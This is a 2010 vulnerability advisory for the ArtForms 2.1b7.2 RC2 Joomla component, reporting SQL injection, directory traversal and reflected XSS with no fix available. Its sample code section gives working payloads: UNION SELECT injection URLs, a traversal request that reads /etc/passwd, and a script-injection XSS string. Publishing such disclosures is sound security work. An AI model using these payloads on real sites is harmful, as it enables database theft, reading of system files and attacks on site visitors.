ArtForms 2.1b7.2 RC2 Joomla Component Multiple Remote Vulnerabilities
Name ArtForms
Vendor http://joomlacode.org/gf/project/jartforms/
Versions Affected 2.1b7.2 RC2
Author Salvatore Fresta aka Drosophila
Website http://www.salvatorefresta.net
Contact salvatorefresta [at] gmail [dot] com
Date 2010-07-07
X. INDEX
I. ABOUT THE APPLICATION
II. DESCRIPTION
III. ANALYSIS
IV. SAMPLE CODE
V. FIX
I. ABOUT THE APPLICATION
________________________
ArtForms is a popular Joomla component.
The ArtForms component is a package for an easy From
Generator for Joomla 1.0.xx. It allows you to generate
as much Forms as you like, you can define all fields
that you need and also make file upload and attachment
possible.
II. DESCRIPTION
_______________
Some parameters are not sanitised before being used in
SQL queries and in danger PHP's functions.
The vulnerabilities are reported in version 2.1b7.2 RC2.
Other versions may also be affected.
III. ANALYSIS
_____________
Summary:
A) Multiple SQL Injection
B) Directory Traversal
C) Reflected XSS
A) Multiple SQL Injection
_________________________
The parameters viewform and id are not properly sanitised
before being used in a SQL query.This can be exploited to
manipulate SQL queries by injecting arbitrary SQL code.
B) Directory Traversal
______________________
The l parameter in alikon/captcha.php is not properly
sanitised before being used to create a path for a file
that will be downloaded.This can be exploited to download
arbitrary files from local resources via directory
traversal attacks.
C) Reflected XSS
________________
The afmsg parameter is not properly sanitised before
being printed.This allows the execution of arbitrary HTML
code.
IV. SAMPLE CODE
_______________
A) Multiple SQL Injection
index.php?option=com_artforms&task=ferforms&viewform=1 UNION SELECT 1,2,3,4,5,6%23
index.php?option=com_artforms&task=vferforms&id=1 UNION SELECT 1,2,3,4,5,6%23
index.php?option=com_artforms&task=tferforms&viewform=1 UNION SELECT 1,2,3,4,5,6%23
B) Directory Traversal
http://site/path/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=../../../../../../../../../../../../etc/passwd%00
C) Reflected XSS
index.php?option=com_artforms&formid=1&afmsg=<script>alert('xss');</script>
V. FIX
______
No fix.
